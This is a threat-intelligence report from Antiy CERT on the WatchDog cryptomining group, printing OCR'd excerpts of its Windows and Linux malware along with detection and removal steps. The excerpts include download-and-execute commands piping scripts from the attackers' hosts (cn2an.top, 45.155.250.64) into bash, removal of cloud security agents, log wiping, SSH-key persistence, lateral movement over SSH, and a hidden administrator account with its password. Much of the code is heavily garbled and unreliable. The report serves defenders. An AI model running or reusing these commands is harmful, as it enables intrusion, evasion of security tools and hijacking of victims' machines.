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1 Overview

Recently, Antiy CERT captured a batch of active WatchDog mining samples. This group primarily exploits
exposed Docker Engine API endpoints and Redis servers to launch attacks, and can quickly pivot from a single
infected machine to an entire network. The WatchDog mining group has been discovered since January 2019 and

remains active to this day.

For more information about this mining organization, see Antiy Virus Encyclopedia.

XmsaH

Long press to identify the QR code to view the detailed information of the '"WatchDog'" group

It has been verified that Antiy Intelligent Endpoint Protection System and Antiy IEP cloud host security

monitoring system can effectively detect and kill the mining Trojan.

2 Attack Process

The WatchDog mining group primarily exploits exposed Redis servers to launch attacks. On Windows, they first
download a PowerShell script named "init.ps1" from the malware server. This script then downloads a mining
program to mine, a vulnerability scanner to scan, a daemon to protect the mining process, returns the host name and

IP address, and adds the exe file to the administrator group.

© Copyright by Antiy . Reprinting without loss is welcome .Page 1
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Figure 2-1 2attack flow chart

The .sh script named "init.sh" is downloaded from the malware server. This script also downloads the Linux
mining program, vulnerability scanner, and daemon, which function similarly to the Windows version. Furthermore,
the script has the following capabilities: clearing firewall rules, clearing logs, creating scheduled tasks, terminating
security products, adding SSH public keys, terminating competing mining products, enabling lateral movement, and

terminating specific network connections.
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Figure 2-3 4attack flow chart

3 Sample Function and Technology Review

3.1 Windows

3.1.1  init.psl

Define url, mining and other information.

© Copyright by Antiy . Reprinting without loss is welcome
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$ne = SNyInvocatlon MyCommand.Path
$miner url = :
$miner url backup =

$miner size =

$miner name = "

§scan_url =

$scan_url backup =

$scan_size =

$scan_name = "ViAnt]

$payload url = "jifip:
$payload url backup =

$payload size
$payload name
$watchdog_url
$watchdog_url bacxup -
$watchdog_size =
$watchdog_name = "1
§killmodule url =
$killmodule url backup
$killmodule name = "«
$plusmedule url =
§plusmodule url backup
$plusmodule name = ¢

$miner path =
§scan_path =
§payload path =
$watchdog _path =
$killmodule path
$plusmodule path

Figure 3-1 Define url and other information

Updates the file in the specified path. It first attempts to download the file from the specified URL. If the
download fails, it uses the backup URL as a fallback. At the same time, before executing the download, it stops the

process with the specified name and deletes the old file.

function Update ($url, $backup url,$path,$proc name)
{

Get-Process -Name $proc _name | Stop-Process

Remove-Item $path

Try {
§ve = New-Object System.Net.WebClient
§ve.DownloadFile ($url, $path)

}

Catch {
Write-output "donwload with backurl"”
§ve = New-Object System.Net.WebClient
$vec.DownloadFile (§backup url, $path)

Figure 3-2 Update the file in the specified path

Create a new file called "Update service for Windows System" scheduled task to execute rsyncd.ps1 regularly.

© Copyright by Antiy . Reprinting without loss is welcome .Page 4
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t Systmm.Met,MetClient

$vo.townicadrile (épaylosd_uxl dpaylesd path)

t Systes.Nt.mescllest

#vo Townicadille (fpaylosd _uxl backup Spaylicad path)

¥ ) xoopy Jy Spayload _path gmosersymid.pal

3.1.2

N

JCreate fu wiwne S . m

redis-bin.exe

Figure 3-3 Creating a scheduled task

Open source Monero XMR ig program, version number is 6.2.6.

VGl = -21i64;

VBB = @;

sub_14@BSBAE@(v56, "XMRIG VERSION");

sub_l4eesesce(&Block, "6.2.6");

sub_148019€18(va, (unsigned int)&ve2, vl, (unsigned int)vsSe);
j_j_j_ free_base(Block);

j_j_j_ free_base(vsc[@]);

sub_14@BSBAER(v56, "XMRIG _KIND");

sub_l4p@sescl(&Elock, “redis™);

sub_148019€18(v2, (unsigned int)&ve2, v3, (unsigned int)vsSe);
j_j_j_ free_base(Block);

j_j_j_ free_base(vsc[@]);

VA = sub_14BB189CE(&vE2);

sub_14@@5PAEB(v56, "XMRIG_HOSTNAME"); £ iy

Block = *(void ; o X E
VS8 = *(_QWORD *){vd + B);

vS = w53}

Figure 3-4 Open source mining program

Mining configuration file, including mining pool address and wallet address.

“tfied fnl b

“self-select nudl,\n®

“aubwic-to-origin\*: falus\n®

\"algo\"r mill, et
\ \“senera\*, \»
eI\t \“redinleg.top: 442\, \n"
\ “aanr\" "0 Voo SAULCAAT SCHIN Ina i v s SSE R 1DN00 S copo®Y sl MUTH F g X fdnPeridn S deQoinN2acth”

"obesfalleetd J&2

STEX

Figure 3-5 Mining configuration file
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Table 3-1 Mining pool address and wallet address in the mining program

Mining pool address Wallet address

23.94.62.184:5443

46EVmo3A9Uoc4AZ6cH4NInaGVhvs3bB8JbXQeiecHpo9 YaRxsWURR fthgBXjdnPxrNAn7JmQeKp

02 T2Cs IS0 N2acFh6vGe6fnLUeetd W

redislog.top:5443
3.1.3  VGAuthServices.exe

The vulnerabilities exploited by this sample scanner are as follows.

__L__mmmell_3_exp_cc_is_shell rce
__L__nnnv0_3_exp_cc_shell rce
__L__nnmvl_3_exp_cc_szhell_t_rce
__L__nnmvl_3_exp_Cctw_exploit

__ L _nnmvl_ 3 _exp_dp isdrupal
__L__nnmll_3_exp_dp_check_payload
__L__mmmll_3_exp_dp_TFE00_wer8_rce
__L__nnmvll_3_exp_dp_TE00_rce
__L__nnmvl_3_exp_Drupal_exploit

__ L _nmmvl 3 exp_es_exploit_cwel0lB1427_rce
__L__nmmell_3_exp_es_exploit_cwel0161427_t_rce
__L__nmmell_3_exp_toj

L__rmnv0_3_exp_es_exploit_cve20143120_rce

L__rmnvl0_3_exp_es_exploit_cve20143120_t_rce

__L__nmmvl 3 exp Elaszticzearch exploit
__L__nmnvl_ 3 exp_get_target

__L__nmmell_3_exp_Tam is_scan
__L__nnmvl_3_exp_Report_succ
__L__nnmvl_3_exp_get_win powershell command by_cc
__L__mmmvl_ 3 exp Init_cc

__ L _nwwvl_ 3 exp_hd exploit_unaurority rce
__L__nmmll_3_exp_Hadoop_exploit
__L__nnmvl_3_exp_re_exploit_rce
__L__nnmvll_3_exp_re_exploit_commect_redis

__ L _nmmvll_3_exp_re_exploit_redisz brute

__ L _nwwvll_ 3 exp_re_exploit_unaurority rce
__L__nnmell_3_exp_Redis_exploit

L__rmnv0_3_exp_zp_cwel0181273_exist=

L__rmnv0_3_exp_zp_cwe20181273_exploit

__ L _nmmll_ 3 _exp_ Spring_exploit
__L__nmwll_3_exp_==_execute_zql
__L__nmmll_3_exp_ssz_execute_payload
__L__nnmvl_3_exp_=s_exploit_xzxcmdzhell
__L__nnmvll_3_exp_s=z_exploit_zsp_oacreate
__L__nnmvll_3_exp_ss_crack_login
__L__nmnvl 3 exp == exploit
__L__nmmll_3_exp_Sglzerwer_exploit
__L__nnmvl_3_exp_tp_isThinkphp
__L__nnmvl_3_exp_tph_rce_ Exizts
__L__nnmvl_3_exp_tp_exploit_tpbrce_exp
__ L _nmmvl 3 exp tp exploit_tpbree
__L__nmmll_ 3 exp tph_23_rce Exists
__L__nnne0_3_exp_tp_exploit_tp5_23_rce_exp

L__rmnv0_3_exp_tp_exploit_tph_23rce

L__rmnv0_3_exp_Thinkphp_exploit

__L__nmmvl 3 exp Http GetData
__L__nmmll_3_ exp Encode_powershell
__ Lm0 _3_exp_wl_wlzs_urlistrue
_ L _nnmvl_3_exp_wl_cwe201T10271_rce

__L__mnnw0_3_exp_wl cwel0lTI0271_t_rce

Y Y Y Y Y Y Y Y Y Y Y Y Y 5 Y Y Y

Figure 3-6 Sample part scans for vulnerabilities

© Copyright by Antiy . Reprinting without loss is welcome . Page 6
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3.1.4  rsysdlog.exe

Written in go language, its main function is to guard the mining process. Its main functional modules are as

follows.

__L__rmmmel_4_watchdog_platform _Walk cron_tasks
__L__rmmwl_4_watchdog_platform_Walk _process
__L__rmmmvl_4_watchdog_platform_Update_file
__L__rmmmel_4_watchdog_platform_update_file_checkmdh
__L__rmmvl_4_watchdog_platform_download payload_and_exec
__L__rmmel_4_watchdog_platform_lin_ os_command_exec
__L__rnmwl_4_watchdog_platform_lin_wallk cron
__L__rmmel_4_watchdog_platform_lin_walk process
__L__rnmwl_4_watchdog_platform_lin download_payload_and_exec
__L__rnmwl_4_watchdog_platform_lin_start_miner
__L__rnmwl_4_watchdog_platform_lin_start_scan
__L__rnmwl_4_watchdog_platform_win_os_command_exec
__L__rnmwl_4_watchdog_platform_win_download_payload_and_exec
__L__rnmwl_4_watchdog_platform_win_wallk schtasks
__L__rnmwl_4_watchdog_platform_win_wallk cron
__L__rmmwl_4_watchdog_platform_win_wallk process
__L__rnmwl_4_watchdog_platform_win_start_miner
__L__rmmwl_4_watchdog_platform_win_start_scan
__L__rnmwl_4_watchdogz_platform_init
main_dog_protect_procesz=z_thread
main_dog_protect_cron_thread

main_dog_update_thread

main_dog_protect_cc_thread

main_getcurrentsystem

main_getiszroot

main_ztart_dog

Figure 3-7 Main functional modules of the mining process
If the daemon does not exist, create a scheduled task to download it.

" — - - - [

if ( 13 1= 13 |T ¥k_i”:R: “yule = "nuR txeN' || *(_DWORD *)(vie + 8) !s 'miT " || *(_BYTE *)(vie + 12) != 181 )

39);

*(_OWORD *)v4s = *(_OWORD *)&v20[8];
if ( v24 <=8 )
runtime_panicindex();

vd6 = runtime_convT2Estring((_ int64 *)ERTYPE_string, (_ inte4 *)(v29 + "\x88"));
*(_QWORD *)&28[32] = fmt_Sprintf(
(__inte4)"schtasks /Create /SC MINUTE /TN \"¥s\" /TR \"#s\" /M0 1@ /F",
55LL,
(__inte4)vas,
2L,
2L
*(__m2561 *)&28[8] = _L_ nnnv@ 4 watchdog_platform_win_os_command_exec(
*(__inte4 *)&v2e[32],
inte4 *)&v2e[4e]);
}
vl = 1LL;
}
else

Figure 3-8 Creating a scheduled task

The sample iterates over each operating system's running processes to ensure that the mining process is running.

© Copyright by Antiy . Reprinting without loss is welcome .Page 7
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- text : GOMOOOHB0E 30582

.text: 0000000630580 cmp
-text:O00R00000063058C 2

L text :SO0000ODNNEI0582 Toc_63D582:
- Lext: G00GACOD0EE3D5R2 lea

rax, Lok _BESSFE ; Loed
byte ptr [rax], &

short 1

oc_£30503

o !

§

L text - GOMGOOBNNGIDSBE mov
L Lext - 00000000006305C8 mav
. Lext 1 0020000DRREIDSCC <all
. text :0000800000630501 mp

rax, 0QFN475500N
[repsinhivar_38)

short loc 630586

. Tax

. text : OGBRNNGHHY6 30503
< Lext:CO000MONEA630503 loc_630503:
- toxt: GO0080ON0A63D5D3 mov
L text: GO000ae00RE3DS0D wov

L Lext: 00RReeGE0RE3D5EE
. TexT:DOBRCOODRE3D58E Loc_BIDSSE:
. TexT:H00000000RE3DSEE mov
Ltext:0000000000630588 mov
- text:00D0eeODRR6305EF mov
Jtext: 0900000000630558 mov
»text 1 OD20000D00630539 mov
»text 20000000386 059 mov
«text : O0DI0O0IVE IDMAT mov
«text: AD00000086 30548 mov
Aext: OOORSOBINOI0AD call

~text:

3D5E1 call

Ltext ! 00008000DR6305EE Jep

rax, 00OFBEI75388h

[rsps3dvevar 0], rax

shart loc_ 530586

|

LA ]

rax, [rspedéhvarg 8}

[repeidrevar_32), rax ;

_intas

rex, [rsprighearg 3]

[rap+3ontvar_28], rex

i __intss

rdx, [rsp+lgnenrg 19]
[rspt3ontvar_20], rdx ; __intés
rbx, [rsptieeierg 23]

[rspe3thivac_10], rox ;

Jintes

_L__owwe_4_wetchdog pl ;Ncm_ullk_p-acet s

3.15

Figure 3-9 Traverse the process to ensure that the mining process is running

clean.bat

The script will clear other mining process names, scheduled tasks, and files, and upload the victim's host name

and IP address to the malware server.

3.1.6

fecho off
.A\clean.exe

set who=%username%

setlocal

set "URL=http://www.cnZan.top/id230409/ip.php"

for /f "delims=" %%I in ('cscript /nologo /e:jscript "%~£0™ "SURL:"') do (
cscript /nologo /e:jscript "%~£0" "SURL%Z&&Fwhoi(@WinHostIP:%sI"

)
goto :EOF

JScript */

var x=new ActiveXObject ("Microsoft.XMLHTTP")
%.open ("GET",WSH.Arguments (0) ,true) ;
%.setRequestHeader ('User-Agent', "XMLHTTP/1.0");

x.send("");

while (x.readyStatel!=4)

WSH.Echo (X.responseText) ;

clean.exe

{WSH.Sleep (50) };

Figure 3-10 Upload host name and IP address

After the sample is executed, the user bak $ will be added to the administrator group with the password 8io

*[022 .

© Copyright by Antiy . Reprinting without loss is welcome
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= -2iG4;
= (const WCHAR *)sub_148881928();
= B-;
((void (_ fastcall *){_ int128 *, const char *, | inte4))sub 14801580)(
& ¥
"bak$8io*I022administrators[-] Failed to add user:\n",
4iG4);
*(_OWORD *) = ;
({void (_ fastcall *)({LPVOID *, BYTE *))sub_l48801568)( » )

if == v15[1] )
(Ex14BB@1A9CIA4) ;

*({_WORD *)v16[@] + ( QWORD)v17++) = 8;

= vie[e];
((wvoid (_ fastcall *){_ intl28 *, char *, __int64))sub_14081A588)(
&y21,
"8i0*I1022administrators[-] Failed to add user:'wn",
Bi64);
*(_ZHZQZJ'j = H
((void (_ fastcall *){LPVOID *, BYTE *))sub_148881568)( . |
if == Iphen[1] )
(@x1480810F9i64) ;
*((_WORD *) [8] + (_QWORD)vIS++) = @;
= [els
((void (_ fastcall *){ intl28 *, char *, _ int64))sub_14881A588)(
&y21,
"administrators[-] Failed to add user:\n",
14164);
*(_;_223,') = i
;E.;i: (_ fastcall .JE'fJTE_: *, BYTE *))sub_l4880156@) ( , B

Figure 3-11 Adding users to the Administrators group

Use the command to query the administrator group and find that the bak$ user has been added to the

administrator group.

Figure 3-12 User bak$ has been added to the Administrators group

3.2 Linux

3.2.1 init.sh

Perform system configuration and cleanup operations. It sets the maximum number of file descriptors, modifies
file permissions, disables the NMI watchdog, disables SELinux , flushes firewall rules, clears temporary files and

logs, and clears the system cache.

© Copyright by Antiy . Reprinting without loss is welcome .Page 9
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ulimit -n €5535
chmod 777 /usr/bin/chattr
chmod 777 /bin/chattr

chattr -iua
chattr -iua

iptables -F

ufw disable

/tmp/
/var/tmp/

echo '0' >/proc/sys/kernel/nmi watchdog

echo 'kernel.nmi watchdog=0' >>/etc/sysctl.conf

chattr -iae
chattr -iae
chattr -iua
chattr -iua

/root/.ssh/
/root/.ssh/authorized keys
/tmp/

/var/tmp/

rm -rf /tmp/addres*

rm -rf /tmp/walle*

rm -rf /tmp/keys

rm -rf /var/log/syslog
setenforce 0 2>dev/null

echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/anil

sync && echo 3 >/proc/sys/vm/drop_caches

Figure 3-13 Weakened defense mechanisms

Read the contents of the cron directory and authorized keys file, modify file contents, move files, and change

file names.

crondir="/

cont="cat ${crondir}"

ssht="cat /root/.ssh/authorized keys"

echo 1 > /etc/host
rtdir="/etc/host™

bbdir="/usr/bin/c

url”

bbdira="/usr/bin/crl™

cedir="/usr/bin/1

cedira="/usr/bin/wet"”

mv
mv
mv
mv
mv
mv
mv
mv
mv
mv
mv
mv
mv
mv
mv

ps command in your system .

/usr/bin/wgettnt /usr/bin/wdl
/usr/bin/curltnt /usr/bin/cdl
/usr/bin/wgetl /usr/bin/wdl
/usr/bin/curll /usr/bin/cdl
/usr/bin/cur fusr/bin/cdl
/usr/bin/cdl fusr/bin/cdl
/usr/bin/cdt /usr/bin/cdl
/usr/bin/cdl /usr/bin/crl
/usr/bin/xget /usr/bin/wdl
/usr/bin/wge /usr/bin/wdl
/usr/bin/wdl /usr/bin/wdl
/usr/bin/wdt /usr/bin/wdl
/usr/bin/wdl /usr/bin/wet
/usr/bin/wget /usr/bin/wet
/usr/bin/curl /usr/bin/crl

Figure 3-14 Replace system tools

© Copyright by Antiy . Reprinting without loss is welcome
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iAf [ -£ “/bin/ps.original* }
then
mv /bin/ps.original /bin/ps.orig
echo "/bin/ps rename"
/bin/ps.orig aux | grep -v grep | grep ':s:h' | awk 'jprint 52)' | xargs -I % kill -5 &

m -rf /bin/ps
cp /bin/ps.orig /bin/ps .
else ==
s b - EE R
£i

Figure 3-15 Replace system instructions

Uninstall Alibaba Cloud and Tencent Cloud.

if ps aux | grep -1 '[alliyun’; then
Sbbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash
fbbdir http://update.aegis.aliyun.com/download/quartz uninstall.sh | bash
$bbdira http://update.asgis.aliyun.com/downlocad/uninstall.sh | bash
§bbdira http://update.aegis.aliyun.com/downlead/quartz uninstall.sh | bash

pkill aliyun-service
m -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
m -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y

elif ps aux | grep -i '[ylunjing'; then
/usr/local/qcloud/stargate/admin/uninstall.sh il E E
/usr/local/qcloud/YunJing/uninst.sh s
/usr/local/gcloud/monitor/barad/admin/uninstall.sh

fi

Figure 3-16 Uninstalling security products

End the security product process.

Ps aux | grep -v grep | grep ' ' | xaxgs -1 & kill -4\
Ps aux | grep -v grep | grep ! ' | xargs -I % kill -5 %
pe aux | grep -v grep | grep 'sonic’ it S111' | xargs dirname | xargs rIm -rf
ps aux | grep -v grep | grep 111" | xargs dirname | xargs rm -rf
ps aux | grep ~v grep | grep ': '{print ' | xargs dirname | xargs rm -rf
pPs aux | grep -v grep | grep '° print. § ' | xargs dirname | xargs tm -cof
Ps aux | grep -v grep | grep ' I' | maxgs -7 () ki1l -5 ()}
ps aux | grep -v grep | grep ' int 32]' | xazgs -I (} k311 -9 ()
ps aux | grep -v grep | grep ' 21| xargs -1 () k&2l -5 ()}
P8 aux | grep -V grep | grep 1| xargs -1 (} ki1l -% ()
ps aux | grep -V grep | grep T 521" | xargs ~I () k411 -5 ()
Ps aux | grep ~v grep | grep ' ‘iprint (2)' | xargs ~X () KkilIE -9 ()
ps aux | grep -v grep | grep ' Lt 32" | xargs ~-I () Xkill -8 {)
Ps aux | grep -v grep | grep ' ‘| xargs -T {) kill -C ()
Ps aux | grep -v grep | grep ' "{print £2}' | xaxgs -T () XJ.M-’J(E*
ps aux | grep -v grep | grep '! cint 32}° | xaxgs ~I ()} A11-=5 <49
Figure 3-17 End the security product process
Delete a scheduled task.

© Copyright by Antiy . Reprinting without loss is welcome . Page 11
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rm -rf /usr/local/aegis

chattr -R -ia /var/spool/cron

chattr -ia /etc/crontab

chattr -R -ia /etc/cron.d

chattr -R -ia /var/spool/cron/crontabs
crontab -r

rm -rf /var/spool/cron/*

rm -rf /etc/cron.d/*

rm -rf /var/spoocl/cron/crontabs .
rm -rf /etc/crontab ol =

Figure 3-18 Deleting a scheduled task

Define variables such as url, scan, watchdog, and miner.

sh url="http://45.155.250.64/1d230409/rsyncd.sh"

sh _url backup="http://www.cnZan.top/1d230409/rsyncd.sh"
scan_url="http://45.155.250.64/id230409/VGAuthServices"
scan_url_backup="http://www.cn2an.top/id230409/VGAuthServices"
scan_size="1919124"

watchdog url="http://45.155.250.64/1d230409/rsysdlog"
watchdog url backup="http://www.cnzan.top/1d230409/rsysdlog”
watchdog size="1472220"

miner url="http://45.155.250.64/1d230409/redis-bin"

miner url backup="http://www.cnZan.top/id230409/redis-bin"
miner size="2362824" -
chattr size="go00" wor B2 *

Figure 3-19 Defining variables

H2Miner mining trojan exists on the host. If so, terminate the corresponding process.

function KILL SUS EIRSING()

(

EINSINGI=§(ps ax | grep -v grep | grep */var/tap/kinsing“)

12 [ ! -» “FEIM )

then

chattr -1 /var/tmp/kinsing I>/dev/null 1>/dsv/null

chmod ~x Jvar/tep/kinaing Zx/davw/null 1>/dsv/noll

pkL1l ~f Jvar/tep/kinaing 2>/ésv/null 1>/dev/nall

kill S(pe ax | grep ~v grep | grep “/var/tmp/kinsing” | awk ‘(print $1)') Ix/dev/null I>/dsv/null
Kill §(pidef /vaz/tap/kinsing) >/dev/null 1>/dev/null

echo * > /var/enp/kinsing ¢>/dev/null 1>/dev/null
m -f /var/tmp/kinzing 2>/dev/null 1>/dev/oull
echo "! jout > fvar/tap/kinsing

chattr +1 /var/tzp/kinsing I>/dev/null I>/dav/null
histoxy -c I>/dev/null 1»/dav/null
£

KINSING2%8 (P ax | grep ~v grep | gowp */tep/kédevisplai”)
AL [~z "SHINGINGE® ):

then

chattr -1 /tmp/kdevtmpts: 2>/gsvw/null 1>/dev/nall

chmod -x /tmmn/kdevimp=i 2>/dev/null 1>/dev/null

pkill -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null

kill ¢(ps ax | grep -v grep | grep */tmp/kdavtupfsi* | awk ‘(print §1)') 2>/cev/null I>fdev/nall
kill §(pidof /omp/kdevimpfsal) 2>/dsv/null I»/dev/null

acho " " > /tap/KdevimpTal 2>»/dev/null 1>/dev/null

m -f /top/kdevitaptal >/dev/null 1>/dev/null

ocho ' you® > fenp/idevirptal

chatts +i /inp/kdevinplsi 2>/dev/null 1>/dev/null

history -c >fdev/null 1>/dev/null e iy

o A= S

|
KILL 505 _EINSING

Figure 3-20 Remove H2Miner mining trojan

IP address and port number that ends a specific connection.
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function XILL_FUS_PROCI)

[

oetstat ~amp | grep

oetatat ~amp | goep !

oetatat ~atp | goep

petatat ~anp | grep

oatatat ~atp | grep

. “anty | grep
“antp | grep

Analysis of Recent Activities of the WatchDog Mining Organization

| awk -F

Figure 3-21 End a specific network connection

End of the mining-related string, which mainly includes the mining pool address and mining protocol.

TRRUTTUTVEEUTERRY

auxt | grep -v grep | grep "mine. I Ol awk | xargs -T % kill -5
auxf | grep -v grep | grep L.t | awk ' | xargs -I % kill -5 %

auxf | grep -v grep | grep ” | awk ' ’ | xargs -I % kill =Y %
auxf | grep -V grep | grep s | awk ' | xargs -I % kill =% %
auxft | grep -V grep | grep - | awk f | xargs -1 % ki

auxf | grep -v grep | grep ° - 1.’ | xargs -T % kiil

auxf | grep -v grep | grep * ° O awk ' | xargs -1 % ki1l -5 %

auxf | grep -v grep | grep “xu: fr: " | sk *[pcint ‘| xaxgs -I % kill -5 %
auxf | grep -v grep | grep ° | awk ' | xargs -1 % kill -4 %
auxl | grep ~v grep | grep “in | awk ' | xarge -1 3 k111 -9 @
auxt | grep -~V Qrep | grep "o Sl . : | awk ' | xargs -I % kill -5 %
Auxf | grep -V grep | grep - Tl oawk ! | xargs -7 % kill -9 %

auxt | grep -v grep | grep " * | awk '{pr ' | xaxgs -T % kil)freEds ""'*
auxf | grep -v grep | grep ° “lawk ¢ ixargs kill -4 sy ﬂ

Figure 3-22 End the process with mining-related strings

Scans the processes in the system, checks whether the executable file path of the process contains the /tmp

directory, and searches for specific keywords in the command line parameters to protect specific critical processes.

k111 _sus_proc{)

{

ps axt -o )

do

done
ps axt

iz -1
ie |
then

n

I

cat /pros
then

else

while read procid

roc/ s lede | gzep Jixp
*-na 1]

cat jproc/iprociafoadline| gzep & ~%
if [ 4" -ne ]
then

kil -
else

acho
£

| oavk | while read procid

cfiprosia/endline) grep -a <E
-ne 1
kil
echo

175

Figure 3-23 Protect watchdog samples

The three system commands (ps, top, and pstree) are modified to automatically filter out the watchdog mining

Trojan processes (redis -bin, rsysdlog, pnscan, and VGAuthServices) when the victim executes them.
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ag L -2 " . |
then

wcko
else

v /binfpe /bin/ps.orig

ecko "1 “»>/nin/pa
ocho | i y remr -y 4 * r 1 T Nath > ">3/bin/ps

chmod +x /bin/ps

touch -d 20701001 /bin/pe
acho hanglng®
£1
A€ { =2 "/l 1
then
wcho
else

my /bin/top /bin/top.orig

echo "4l ak"roin/tep
echo * e A =t icodinh et "1 = | YRy $>/binstap
chmod +x /bin/top

touch -d 20201001 /bin/top
wcho £ 3 iay*

£1

32 L ~¢ “/hin rig® 3

thea
wcho nar)

else
v /bin/patces /bin/pstres.orig
echo 4 n/Lani">> fmiafpatres S
echo "ot oty | e v A 1 7 T A v ‘{»/bm/p:n-.v.-l
=hood +x /bin/potise

touch -d 20201001 /bin/petree
ecko "o :

£1

At -t |

then

chattrzizes 1a =1 /biafchatts | s« | print $5 )°

A [ "Schuttyeize® =1t “fohattr slagt ]|

then

YR -y IAMOVe GZLoprogs
yum -y inatall eZfsprogm

ulam
echo *
24
else -’
yam ~y tenove w2foproge =
yum -y 1install a2fsprogs amar ﬂ *
£1

Figure 3-24 Modify the command to filter watchdog mining related processes

Create a scheduled task, download the subsequent script, and add the SSH public key for persistence.

unlock cron

m -f

m -f /etc/cron.d/rsyncd
m -t /etc/crontab

ocho "4 /25 ¢ ¢ v ¢ an fet yned,8h >/dev/null 231" >>
echo "' A R t =h te/rsyncd. sl jav/nul 21" 3> fetc/cron.d/rsyncd
echo "0 1 ¢+ v ¢ t etc/royned.sh >/dev/null «1" >> jetc/crontab

echo crontab created

lock_cron
chmod 700 /root/.ssh/
echo >> /root/.ssh/authorizad keys
chmod €00 /root/.ssh/authorized keys
echo "sohi-1ta

Figure 3-25 Add SSH public key

Download the mining program and subsequent script files, etc.
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C -2 ol i 11s-bin" ]

then
filesizel="1s -1 /etc/redis-bin | awk '{ print §5 )
it [ "5f el” -pe " a" )
then

pkill -r redis-bin
rm /etc/redis-bin

downloads Sminer url /etc/redis-bin Eminer url backup
else
echo “
£i
else
downloads Sminer url /etc/redis-bin Sminer u backup
b4 8
i [ = “Sfetg/t S |
then
filesize2="1ls -1 /etc/rsysdlog | awk '{ print §5 }°'
if [ "Stilesizel ~ne "lwat y =jze” ]
then
Pkill -f rsysdlog
m /etc/rsysdlog
downloads Owatchdog url /etc/rsysdlog Swat
else
echo " i . "
f£1
else
downloads $watchdog url /etc/rsysdlog Swatchdog url backu
1
if [ -f "/etc/VGAuthser: =" )
then
fileslize3= 1s ~1 /etc/VGAuthServices | awk '{ print §5 }°'
if [ "Sfils el* -pe " I -2
then
pkill ~f VGAuthServices
m /etc/VGAuthServices
downloads §scan url /Jetc/VGAuthServices fscan uri backug
else
echo "not ! . " .
£i
else o B2 E
downloads $scan url /etc/VGAuthServices Gscan url backup
fi
downlcads §sh _url /etc/rsyncd.sh &sh url backup
chmod 777 /etc/redis-bin

Figure 3-26 Download the mining program and subsequent scripts

The mining parameters to be executed, including mining pool address , wallet address and other information.

L )
A2 [ -2 )
they
} Iy ~teiguep rwdie-bin |guep -« grey
wlow
el L R ER D [T I P
s
AR @ 1 14
thea
o
<o iy
wieee L=
/Tedie-min Log-filwsjutoiute oanpalive so-suloc - princivy - 481 wezla ricehasn AD BOTALD - 3 34 "
VW IR KATAC BN TTNTY S SR MRS L AT L~ S SR ATY T T Aged | (P S0 ) WO PR T P VSR K TIOTEw O, 88 ~=118 ==wuln morw yertle log Sy 10 ==tis ~—=nirehdsh - nomee ~=pacigteaed &
wles
<ho

Figure 3-27 Parameters for executing mining

Clears traces, such as firewall traces, dropping traffic on specific ports, deleting history commands, and clearing
email, security, and login logs. It also checks whether the /root/.ssh/known_hosts and /root/.ssh/id_rsa.pub files exist.
If they do, they iterate over the IP addresses in the known_hosts file, connect to those hosts using SSH, and execute

remote scripts on the remote hosts.
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iptables -F
iptables -X
iptables -A OUTFUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 4444 -j DROP
iptables -A QUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9%5% -3 DROP

service iptables reload

history

-

echo > /var/spool/mail/root
echo > /var/log/wtmp

echo > /var/leg/secure

echo > /root/.bash_history
chmod 444 /usr/bin/chattr
chmod 444 /bin/chattr

yum install -y bash 2>/dev/null
apt instail -y bash 2>/dev/aull
apt-get Install -y bash 2>/déev/null

if [ -£ /root/.ssh/known hosts ] && [ -f /root/.ssh/id rsa.pub 1; then

for N in G(grep -of "\b([0-8] (1 ,3}\.)(3}[0~9](1,3)\b" /root/.ssh/known hosts);

£i

' & done

if [ -£ /root/.ssh/known_hosts ] &6 [ -£ /ruut/.:sh/ld_lxa.pub 1) then

for h in G(grep -oE "\b([0-9]{1,3)\.)(3)[0-8](1,3)\b" [root/.ssh/known hosts);

' & dome
£
echo “Cubid:
echo “Zhbd .
HX
sbbdir -f£s3SL http://www,cn2an.top/id230409/is.sh | bash e BF

SSL
Sbbdira -£s55L http://www.cn2an.top/id230409/is.sh | bash

Figure 3-28 Clear traces and look for targets that can move laterally

4 Mining Trojan Detection and Removal Solution

4.1 Windows

4.1.1 Identification of Mining Trojans

1. Scheduled tasks

Scheduled task name: Update service for Windows System

2. Document

File name:
redis-bin.exe
rsysdlog.exe
VGAuthServices.exe
¢ lean.exe

rsyncd.psl

Path:

C:\Users\ username \ AppData \Local\Temp
C:\Users\ username
3. Process name
redis-bin.exe
rsysdlog.exe
VGAuthServices.exe

Action: PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -File C:\Users\ username \rsyncd.ps!
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4.  Network-side troubleshooting

redis-bin.exe : 2 3.94.62.184:5443 or 8 0.211.206.105:9000 or redislog.top:5443 ( pool connection )
VGAuthServices.exe : Scans a large number of IP addresses

5. View the local administrators group

Use the command net localgroup Administrators to check the local administrator group to see if there is a

suspicious user named bak$

4.1.2 Removal Plan

1.  End the corresponding processes one by one

rsy sdlog.exe

VGAuthServices.exe

redis -bin.exe

Note: You must first end the rsysdlog.exe process, which is the daemon process of the other two. If you do not end
this process first, the other two processes will restart.

2. Delete a scheduled task

Update service for Windows System

3. Delete mining and other landing files

C:\Users\ username \ AppData \Local\Temp \ redis-bin.exe
C:\Users\ username \ AppData \Local\Temp\rsysdlog.exe
C:\Users\ username \ AppData \Local\Temp\VGAuthServices.exe
C:\Users\ username \ AppData \Local\Temp\clean.exe

C:\Users\ username\ rsyncd.ps1

4.  Delete malicious accounts

net localgroup Administrators bak$ /delete

You can also use Antiy's host system in-depth analysis tool (ATool) to detect and kill, and terminate the
corresponding processes in sequence, rsysdlog.exe, VGAuthServices.exe, and redis-bin.exe. Otherwise, the mining

process will restart after it ends.

oM UM C \Tewra\Lls. 0%
4 a0 stlly AN CAreerndlis awm
tAdg e Ao g sxzen-g | SN O Sreersills . L om
2 Fapie bl sae rn TEHERR. . 2a0-10 1 Hanza Co\Teersille  feal QuFFPTROIAL.  Qe00NITAAA . Qw0M
e 1 0 tily [}
Bycten “ - Zyrten 5] asrrrrEmLIT.
. mir A 200 ‘Werataft Capara - Walier & plL e Ll e il faliginleras crrrreNIaL LTINS 00
